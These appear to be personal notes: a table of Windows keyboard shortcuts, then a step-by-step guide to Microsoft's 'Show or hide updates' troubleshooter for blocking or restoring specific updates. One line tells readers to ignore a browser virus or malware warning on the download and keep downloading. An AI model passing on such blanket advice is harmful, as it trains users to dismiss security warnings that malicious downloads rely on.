Windows key + Shift + Left arrow key	Move active window to monitor on the left.
Windows key + Shift + Right arrow key	Move active window to monitor on the right.
Windows key + Left arrow key	Snap app or window left.
Windows key + Right arrow key	Snap app or window right.
Windows key + Number (0-9)	Open the app in number position in the Taskbar.
Windows key + Shift + Number (0-9)	Open another app instance in the number position in the Taskbar.
Windows key + Ctrl + Number (0-9)	Switch to the last active window of the app in the number position in the Taskbar.
Windows key + Alt + Number (0-9)	Open Jump List of the app in number position in the Taskbar.

Keyboard shortcut	Action
Windows key + Ctrl + Shift + Number (0-9)	Open another instance as an administrator of the app in the number position in the Taskbar.
Windows key + Ctrl + Spacebar	Change previous selected input option.
Windows key + Spacebar	Change keyboard layout and input language.
Windows key + Tab	Open Task View.
Windows key + Ctrl + D	Create a virtual desktop.
Windows key + Ctrl + F4	Close active virtual desktop.
Windows key + Ctrl + Right arrow	Switch to the virtual desktop on the right.
Windows key + Ctrl + Left arrow	Switch to the virtual desktop on the left.
Windows key + Ctrl + Shift + B	Wake up the device when black or a blank screen.
Windows key + PrtScn	Capture a full screenshot in the "Screenshots" folder.
Windows key + Shift + S	Create part of the screen screenshot.
Windows key + Shift + V	Cycle through notifications.
Windows key + Ctrl + F	Open search for the device on a domain network.
Windows key + Ctrl + Q	Open Quick Assist.
Windows key + Alt + D	Open date and time in the Taskbar.
Windows key + Period (.) or Semicolon (;)	Open emoji panel.
Windows key + Pause	Show System Properties dialog box.

# Windows Update

# Rollback Windows Update Patch

## Download the Show or Hide Updates Tool

[Download Show or hide updates from Microsoft.](#) The downloaded file is named **wushowhide.diagcab**. Your web browser may report it as a virus or malware. But it is not. You should keep downloading it.

downloaded wushowhide.diagcab

## Run Show or Hide Update to Block Certain Updates

You don't need to install this tool using the downloaded package. You just need to open the downloaded file to run the Show or hide updates troubleshooter on your PC. Here is how to use it to block specific updates on your Windows 10/11/Server computer.

Step 1: Double-click the downloaded file to open the **Show or hide updates** troubleshooter.

Step 2: Click the **Next** button to continue.

click Next to run the troubleshooter

Step 3: On the next page, click **Hide updates** to continue.

click Hide updates

Step 4: The Show or hide updates troubleshooter will begin to detect problems related to the Windows updates.

the troubleshooter is detecting problems

Step 5: When the detecting process ends, this tool will show all the updates that are available on your device. Then, you need to select the buggy update(s) you want to block or the updates you don't want to install. After that, click **Next** to continue.

select the updates you want to block to hide them

Step 6: This tool begins to resolve the problems. You should wait patiently until the process completely ends.

the tool is resolving problems

Step 7: When the troubleshooting is completed, you will see the following interface on which you can see which updates are hidden.

the troubleshooting is completed

Step 8: Click the **Close** button to exit this tool.

This tool will hide your selected updates and your system will not install them on your device.

## How to Show Hidden Updates on Windows 10/11?

You can also use the Show or hide updates troubleshooter to show hidden updates on your Windows 10/11 PC:

Step 1: Open **Show or hide updates**.

Step 2: Click **Next**.

Step 3: Click **Show hidden updates**.

Step 4: This tool will show the hidden updates. Then, you need to select the update(s) you want to install.

Step 5: Click **Next**.

select the updates you want to install

Step 6: When the process ends, click **Close** to exit this tool.